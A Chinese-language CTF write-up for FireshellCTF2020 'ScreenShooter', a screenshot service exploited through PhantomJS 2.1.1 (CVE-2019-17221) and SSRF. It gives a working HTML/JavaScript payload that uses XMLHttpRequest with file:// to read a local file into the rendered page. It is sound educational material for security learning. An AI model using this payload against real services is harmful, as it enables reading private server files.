# \[FireshellCTF2020]ScreenShooter

## \[FireshellCTF2020]ScreenShooter

## 考点

* `PhantomJS` 2.1.1任意文件读取漏洞
* SSRF

## wp

只有一个功能点，对输入的URL进行访问，然后返回截图。

比如输入百度的URL就会返回它的截图

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FPrI7NSBp8x27ITGbyCrk%2Fimage-20210125220405236.png?alt=media\&token=37fc2e38-01d3-4f72-816a-90dd249b0627)

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FDMnPrnw20drps3iOVPO7%2Fimage-20210125220422610.png?alt=media\&token=108f47a5-9928-4bb1-9fb3-e852dffa5fc3)

既然是访问了这个URL，那就生成个URL让它访问，看一下返回的信息

在 https://beeceptor.com/ 上生成一个临时域名，让这个题目访问，可以看到访问的请求头

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2F2GGxD7zFKbL8TKAW6zIE%2Fimage.png?alt=media\&token=3819a02c-8e3d-4ad2-9f52-828993000e5f)

```
  "user-agent": "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1",
```

可以看到用的是`PhantomJS`

`PhantomJS` 2.1.1是有任意文件读取漏洞的，CVE-2019-17221。可以使用`XMLHttpRequest`和`file://`去读取本地文件，利用方式如下

1.在自己服务器上放个index.html，内容如下

```html
<!DOCTYPE html>
<html>
<head>
<title>3webdogs</title>
</head>
<body>
<script>
flag=new XMLHttpRequest;
flag.onload=function(){
    document.write(this.responseText)
};
flag.open("GET","file:///flag");
flag.send();
</script>
</body>
</html>
```

2.让题目访问 http://服务器地址/index.html 即可

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2F8EE1gzdiAHiQyw6hptUt%2Fimage-20210125221937478.png?alt=media\&token=3b808de8-c95f-4b28-8d67-2be4ff455078)

最后用OCR识别一下就行了

## 小结

1. 关注CVE
